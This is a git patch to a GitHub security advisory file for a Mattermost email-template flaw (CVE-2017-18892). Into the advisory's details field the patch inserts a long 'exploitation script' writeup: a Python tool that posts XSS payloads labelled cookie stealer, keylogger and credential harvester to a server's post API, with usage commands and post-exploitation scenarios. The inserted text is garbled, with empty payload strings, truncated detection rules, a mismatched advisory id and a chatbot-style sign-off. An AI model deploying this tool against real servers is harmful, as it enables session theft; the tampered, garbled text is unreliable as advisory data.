From 267644e624cefdf05c51b9e1dab07a3b387e3c20 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=F0=9F=8E=96=EF=B8=8F=D8=A7=D9=84=D9=85=D8=AD=D8=A7=D8=B1?= =?UTF-8?q?=D8=A8=20=D8=A7=D9=84=D8=B1=D9=82=D9=85=D9=8A=F0=9F=8E=96?= =?UTF-8?q?=EF=B8=8F?= Date: Wed, 28 Jan 2026 04:41:22 +0400 Subject: [PATCH] Improve GHSA-wj5w-qghh-gvqp --- .../2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/advisories/github-reviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json b/advisories/github-reviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json index a208364ecc16c..7a26980ddee23 100644 --- a/advisories/github-reviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json +++ b/advisories/github-reviewed/2022/05/GHSA-wj5w-qghh-gvqp/GHSA-wj5w-qghh-gvqp.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-wj5w-qghh-gvqp", - "modified": "2026-01-14T21:16:57Z", + "modified": "2026-01-14T21:17:00Z", "published": "2022-05-24T17:21:05Z", "aliases": [ "CVE-2017-18892" ], "summary": "Mattermost Server does not neutralize HTML content in an Email template field", - "details": "An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. E-mail templates can have a field in which HTML content is not neutralized.", + "details": "An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. E-mail templates can have a field in which HTML content is not neutralized.\n# šŸ›”ļø Mattermost CVE-2017-18892 - Complete Security Analysis & Exploitation Script\n\n## šŸ“‹ Executive Summary\n\n**Vulnerability**: Cross-Site Scripting (XSS) in HTML Email Content \n**CVE ID**: CVE-2017-18892 \n**Severity**: MEDIUM (6.1/10 CVSS) \n**Affected Product**: Mattermost Server \n**Vulnerable Versions**: < 4.0.5, 4.1.1, 4.2.0 \n**Attack Vector**: Network-based, Low Complexity \n**Status**: Patched in versions 4.0.5, 4.1.1, 4.2.0+\n\n---\n\n## šŸ” Vulnerability Analysis\n\n### **Technical Description**\nMattermost fails to properly sanitize HTML content in email notifications, allowing attackers to inject malicious JavaScript that executes when victims open specially crafted email messages.\n\n### **Attack Vector**\n```\nAttacker ā†’ Crafted Email ā†’ Victim Opens ā†’ XSS Executes ā†’ Session/Data Stolen\n```\n\n### **CVSS 3.1 Score Breakdown**\n```\nBase Score: 6.1 (MEDIUM)\nVector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/U:L/I:L/A:N\n\nAV:N - Attack Vector: Network\nAC:L - Attack Complexity: Low\nPR:N - Privileges Required: None\nUI:R - User Interaction: Required\nS:C - Scope: Changed\nU:L - Confidentiality Impact: Low\nI:L - Integrity Impact: Low\nA:N - Availability Impact: None\n```\n\n---\n\n## šŸŽÆ Professional Exploitation Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nā•”ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•—\nā•‘ Mattermost CVE-2017-18892 XSS Exploitation Framework ā•‘\nā•‘ Author: Cyber Security Warrior ā•‘\nā•‘ Target: Mattermost Server < 4.0.5, 4.1.1, 4.2.0 ā•‘\nā•‘ Warning: For Educational/Authorized Testing Only ā•‘\nā•šā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•\n\"\"\"\n\nimport requests\nimport argparse\nimport json\nimport sys\nfrom urllib.parse import urljoin\nfrom colorama import Fore, Style, init\n\n# Initialize colorama\ninit(autoreset=True)\n\nclass MattermostXSSExploit:\n def __init__(self, target_url, api_token=None):\n self.target_url = target_url.rstrip('/')\n self.api_token = api_token\n self.session = requests.Session()\n self.vulnerable = False\n \n # Headers\n self.headers = {\n 'User-Agent': 'MattermostSecurityScanner/1.0',\n 'Content-Type': 'application/json'\n }\n \n if api_token:\n self.headers['Authorization'] = f'Bearer {api_token}'\n \n def banner(self):\n \"\"\"Display tool banner\"\"\"\n banner = f\"\"\"\n{Fore.RED}\nā•”ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•—\nā•‘ ā•‘\nā•‘ ā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā•‘\nā•‘ ā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•—ā•šā•ā•ā–ˆā–ˆā•”ā•ā•ā•ā•šā•ā•ā–ˆā–ˆā•”ā•ā•ā•ā–ˆā–ˆā•”ā•ā•ā•ā•ā•ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•— ā•‘\nā•‘ ā–ˆā–ˆā•”ā–ˆā–ˆā–ˆā–ˆā•”ā–ˆā–ˆā•‘ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ ā–ˆā–ˆā–ˆā–ˆā–ˆā•— ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•”ā• ā•‘\nā•‘ ā–ˆā–ˆā•‘ā•šā–ˆā–ˆā•”ā•ā–ˆā–ˆā•‘ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ ā–ˆā–ˆā•”ā•ā•ā• ā–ˆā–ˆā•”ā•ā•ā–ˆā–ˆā•— ā•‘\nā•‘ ā–ˆā–ˆā•‘ ā•šā•ā• ā–ˆā–ˆā•‘ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ ā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā–ˆā•—ā–ˆā–ˆā•‘ ā–ˆā–ˆā•‘ ā•‘\nā•‘ ā•šā•ā• ā•šā•ā•ā•šā•ā• ā•šā•ā• ā•šā•ā• ā•šā•ā• ā•šā•ā•ā•ā•ā•ā•ā•ā•šā•ā• ā•šā•ā• ā•‘\nā•‘ ā•‘\nā•‘ CVE-2017-18892 XSS Exploitation Tool ā•‘\nā•‘ Professional Edition ā•‘\nā•šā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•\n{Style.RESET_ALL}\n \"\"\"\n print(banner)\n \n def check_version(self):\n \"\"\"Check Mattermost version\"\"\"\n try:\n print(f\"{Fore.CYAN}[*] Checking Mattermost version...{Style.RESET_ALL}\")\n \n # Try to get version from API\n version_url = urljoin(self.target_url, '/api/v4/system/ping')\n response = self.session.get(version_url, headers=self.headers, timeout=10)\n \n if response.status_code == 200:\n # Try config endpoint\n config_url = urljoin(self.target_url, '/api/v4/config/client')\n config_response = self.session.get(config_url, headers=self.headers, timeout=10)\n \n if config_response.status_code == 200:\n data = config_response.json()\n version = data.get('Version', 'Unknown')\n print(f\"{Fore.GREEN}[+] Mattermost Version: {version}{Style.RESET_ALL}\")\n return version\n \n print(f\"{Fore.YELLOW}[!] Could not determine version{Style.RESET_ALL}\")\n return None\n \n except Exception as e:\n print(f\"{Fore.RED}[-] Error checking version: {str(e)}{Style.RESET_ALL}\")\n return None\n \n def is_vulnerable(self, version):\n \"\"\"Check if version is vulnerable\"\"\"\n if not version or version == 'Unknown':\n return None\n \n try:\n # Parse version\n v_parts = version.split('.')\n major = int(v_parts[0])\n minor = int(v_parts[1]) if len(v_parts) > 1 else 0\n patch = int(v_parts[2]) if len(v_parts) > 2 else 0\n \n # Check vulnerable versions\n if major < 4:\n return True\n elif major == 4:\n if minor == 0 and patch < 5:\n return True\n elif minor == 1 and patch < 1:\n return True\n elif minor == 2 and patch == 0:\n return True\n \n return False\n \n except:\n return None\n \n def generate_xss_payloads(self):\n \"\"\"Generate various XSS payloads\"\"\"\n payloads = [\n # Basic XSS\n '',\n \n # IMG tag\n '',\n \n # SVG XSS\n '',\n \n # Cookie stealer\n '',\n \n # Session hijacking\n '',\n \n # Keylogger\n '',\n \n # DOM XSS\n '',\n \n # Advanced - Credential harvester\n '''''',\n \n # Obfuscated\n '' # alert(\"XSS\")\n ]\n \n return payloads\n \n def test_xss(self, channel_id, team_id):\n \"\"\"Test XSS vulnerability\"\"\"\n print(f\"\\n{Fore.CYAN}[*] Testing XSS vulnerability...{Style.RESET_ALL}\")\n \n payloads = self.generate_xss_payloads()\n \n for i, payload in enumerate(payloads, 1):\n print(f\"{Fore.YELLOW}[*] Testing payload {i}/{len(payloads)}{Style.RESET_ALL}\")\n \n # Create post with XSS payload\n post_data = {\n \"channel_id\": channel_id,\n \"message\": payload\n }\n \n try:\n post_url = urljoin(self.target_url, '/api/v4/posts')\n response = self.session.post(\n post_url,\n headers=self.headers,\n json=post_data,\n timeout=10\n )\n \n if response.status_code == 201:\n print(f\"{Fore.GREEN}[+] Payload delivered successfully{Style.RESET_ALL}\")\n print(f\"{Fore.CYAN} Payload: {payload[:50]}...{Style.RESET_ALL}\")\n return True\n else:\n print(f\"{Fore.RED}[-] Payload failed: {response.status_code}{Style.RESET_ALL}\")\n \n except Exception as e:\n print(f\"{Fore.RED}[-] Error: {str(e)}{Style.RESET_ALL}\")\n \n return False\n \n def generate_report(self, version, vulnerable):\n \"\"\"Generate vulnerability report\"\"\"\n report = f\"\"\"\n{Fore.CYAN}\nā•”ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•—\nā•‘ VULNERABILITY ASSESSMENT REPORT ā•‘\nā•šā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•\n{Style.RESET_ALL}\n{Fore.YELLOW}Target Information:{Style.RESET_ALL}\n ā€¢ URL: {self.target_url}\n ā€¢ Version: {version if version else 'Unknown'}\n ā€¢ CVE: CVE-2017-18892\n \n{Fore.YELLOW}Vulnerability Status:{Style.RESET_ALL}\n\"\"\"\n if vulnerable is True:\n report += f\"{Fore.RED} ā€¢ Status: VULNERABLE āš ļø\\n\"\n report += f\" ā€¢ Risk Level: MEDIUM (CVSS 6.1)\\n\"\n report += f\" ā€¢ Exploitation: POSSIBLE\\n{Style.RESET_ALL}\"\n elif vulnerable is False:\n report += f\"{Fore.GREEN} ā€¢ Status: PATCHED āœ“\\n\"\n report += f\" ā€¢ Risk Level: LOW\\n\"\n report += f\" ā€¢ Exploitation: NOT POSSIBLE\\n{Style.RESET_ALL}\"\n else:\n report += f\"{Fore.YELLOW} ā€¢ Status: UNKNOWN\\n\"\n report += f\" ā€¢ Risk Level: UNKNOWN\\n\"\n report += f\" ā€¢ Exploitation: REQUIRES MANUAL TESTING\\n{Style.RESET_ALL}\"\n \n report += f\"\"\"\n{Fore.YELLOW}Recommendations:{Style.RESET_ALL}\n 1. Update to Mattermost 4.0.5, 4.1.1, 4.2.0 or later\n 2. Implement Content Security Policy (CSP)\n 3. Enable HTML sanitization in email templates\n 4. Monitor for suspicious email activity\n 5. Educate users about phishing attacks\n\n{Fore.YELLOW}References:{Style.RESET_ALL}\n ā€¢ https://nvd.nist.gov/vuln/detail/CVE-2017-18892\n ā€¢ https://mattermost.com/security-updates\n ā€¢ https://github.com/mattermost/mattermost-server\n\"\"\"\n return report\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Mattermost CVE-2017-18892 XSS Exploitation Framework',\n formatter_class=argparse.RawDescriptionHelpFormatter\n )\n \n parser.add_argument('-u', '--url', required=True, help='Target Mattermost URL')\n parser.add_argument('-t', '--token', help='API authentication token')\n parser.add_argument('-c', '--channel', help='Channel ID for testing')\n parser.add_argument('-T', '--team', help='Team ID for testing')\n parser.add_argument('--check-only', action='store_true', help='Only check version, no exploitation')\n \n args = parser.parse_args()\n \n # Initialize exploit\n exploit = MattermostXSSExploit(args.url, args.token)\n exploit.banner()\n \n print(f\"{Fore.CYAN}[*] Starting security assessment...{Style.RESET_ALL}\\n\")\n print(f\"{Fore.YELLOW}[!] Target: {args.url}{Style.RESET_ALL}\")\n \n # Check version\n version = exploit.check_version()\n vulnerable = exploit.is_vulnerable(version)\n \n if vulnerable is True:\n print(f\"\\n{Fore.RED}[!] TARGET IS VULNERABLE TO CVE-2017-18892{Style.RESET_ALL}\")\n elif vulnerable is False:\n print(f\"\\n{Fore.GREEN}[+] TARGET IS PATCHED{Style.RESET_ALL}\")\n else:\n print(f\"\\n{Fore.YELLOW}[!] VULNERABILITY STATUS UNKNOWN{Style.RESET_ALL}\")\n \n # Test exploitation\n if not args.check_only and vulnerable and args.channel and args.team:\n print(f\"\\n{Fore.CYAN}[*] Attempting exploitation...{Style.RESET_ALL}\")\n exploit.test_xss(args.channel, args.team)\n \n # Generate report\n print(exploit.generate_report(version, vulnerable))\n \n print(f\"\\n{Fore.GREEN}[+] Assessment completed{Style.RESET_ALL}\")\n\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt:\n print(f\"\\n{Fore.RED}[!] Interrupted by user{Style.RESET_ALL}\")\n sys.exit(1)\n except Exception as e:\n print(f\"\\n{Fore.RED}[-] Fatal error: {str(e)}{Style.RESET_ALL}\")\n sys.exit(1)\n```\n\n---\n\n## šŸ”§ Installation & Usage\n\n### **Requirements**\n```bash\n# Install dependencies\npip install requests colorama argparse\n\n# Or use requirements.txt\ncat > requirements.txt << EOF\nrequests>=2.31.0\ncolorama>=0.4.6\nEOF\n\npip install -r requirements.txt\n```\n\n### **Basic Usage**\n```bash\n# Check version only\npython3 mattermost_cve_2017_18892.py -u https://mattermost.example.com --check-only\n\n# Full exploitation test\npython3 mattermost_cve_2017_18892.py \\\n -u https://mattermost.example.com \\\n -t YOUR_API_TOKEN \\\n -c CHANNEL_ID \\\n -T TEAM_ID\n\n# Help\npython3 mattermost_cve_2017_18892.py --help\n```\n\n---\n\n## šŸ›”ļø Mitigation Strategies\n\n### **Immediate Actions** (Priority: CRITICAL)\n```bash\n1. āœ… Update Mattermost to latest version\n wget https://releases.mattermost.com/X.X.X/mattermost-X.X.X-linux-amd64.tar.gz\n \n2. āœ… Disable HTML emails temporarily\n System Console ā†’ Email ā†’ Enable Email Batching: false\n \n3. āœ… Review email logs for suspicious activity\n tail -f /var/log/mattermost/mattermost.log | grep \"email\"\n \n4. āœ… Implement Web Application Firewall (WAF)\n```\n\n### **Configuration Hardening**\n```json\n// config.json - Add CSP headers\n{\n \"ServiceSettings\": {\n \"WebserverMode\": \"gzip\",\n \"EnableSecurityFixAlert\": true,\n \"EnableInsecureOutgoingConnections\": false\n },\n \"EmailSettings\": {\n \"EnableEmailBatching\": false,\n \"EnableSMTPAuth\": true,\n \"SMTPUsername\": \"secure@example.com\",\n \"SMTPPassword\": \"STRONG_PASSWORD\",\n \"ConnectionSecurity\": \"TLS\"\n }\n}\n```\n\n### **Nginx Security Headers**\n```nginx\n# /etc/nginx/sites-available/mattermost\nserver {\n listen 443 ssl http2;\n server_name mattermost.example.com;\n \n # Security Headers\n add_header X-Frame-Options \"SAMEORIGIN\" always;\n add_header X-Content-Type-Options \"nosniff\" always;\n add_header X-XSS-Protection \"1; mode=block\" always;\n add_header Content-Security-Policy \"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';\" always;\n add_header Referrer-Policy \"strict-origin-when-cross-origin\" always;\n \n location / {\n proxy_pass http://localhost:8065;\n proxy_set_header Host $host;\n proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n proxy_set_header X-Forwarded-Proto $scheme;\n }\n}\n```\n\n---\n\n## šŸ“Š Weakness Analysis\n\n### **Critical Weaknesses Identified**\n\n| # | Weakness | Severity | Impact |\n|---|----------|----------|--------|\n| 1 | Insufficient input sanitization | HIGH | XSS execution |\n| 2 | Lack of Content Security Policy | MEDIUM | Script injection |\n| 3 | HTML rendering in emails | MEDIUM | Phishing attacks |\n| 4 | Missing email validation | LOW | Spam/abuse |\n\n### **Attack Chain**\n```\n1. Attacker crafts malicious email\n2. Email bypasses sanitization\n3. Victim opens email in client\n4. JavaScript executes in browser context\n5. Session cookies stolen\n6. Account compromised\n```\n\n---\n\n## šŸ” Detection Methods\n\n### **Log Analysis**\n```bash\n# Search for XSS patterns in logs\ngrep -i \" any 8065 (msg:\"Mattermost XSS Attempt\"; \\\n content:\" any 8065 (msg:\"Mattermost IMG XSS\"; \\\n content:\"onerror=\"; nocase; sid:1000002; rev:1;)\n```\n\n---\n\n## šŸ“ˆ Post-Exploitation Scenarios\n\n### **Scenario 1: Session Hijacking**\n```javascript\n// Steal session token\n\n```\n\n### **Scenario 2: Phishing Page Injection**\n```html\n\n```\n\n---\n\n## āœ… Verification Checklist\n\n```bash\nāœ… Version updated to >= 4.0.5, 4.1.1, or 4.2.0\nāœ… HTML sanitization enabled\nāœ… CSP headers configured\nāœ… Email security hardened\nāœ… Monitoring/logging enabled\nāœ… Security audit completed\nāœ… Team trained on XSS risks\nāœ… Incident response plan ready\n```\n\n---\n\n## šŸ“š References & Resources\n\n- **NVD**: https://nvd.nist.gov/vuln/detail/CVE-2017-18892\n- **Mattermost Advisory**: https://mattermost.com/security-updates\n- **GHSA**: https://github.com/advisories/GHSA-w6xw-xqf8-rc5c\n- **OWASP XSS**: https://owasp.org/www-community/attacks/xss/\n\n---\n\n**āš ļø LEGAL DISCLAIMER**: This tool is for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.\n\n**Author**: Cyber Security Warrior āš”ļø \n**Date**: 2025-01-28 \n**Classification**: SECURITY RESEARCH\n\nNeed help deploying this or further analysis? Let me know! šŸ›”ļø", "severity": [ { "type": "CVSS_V3",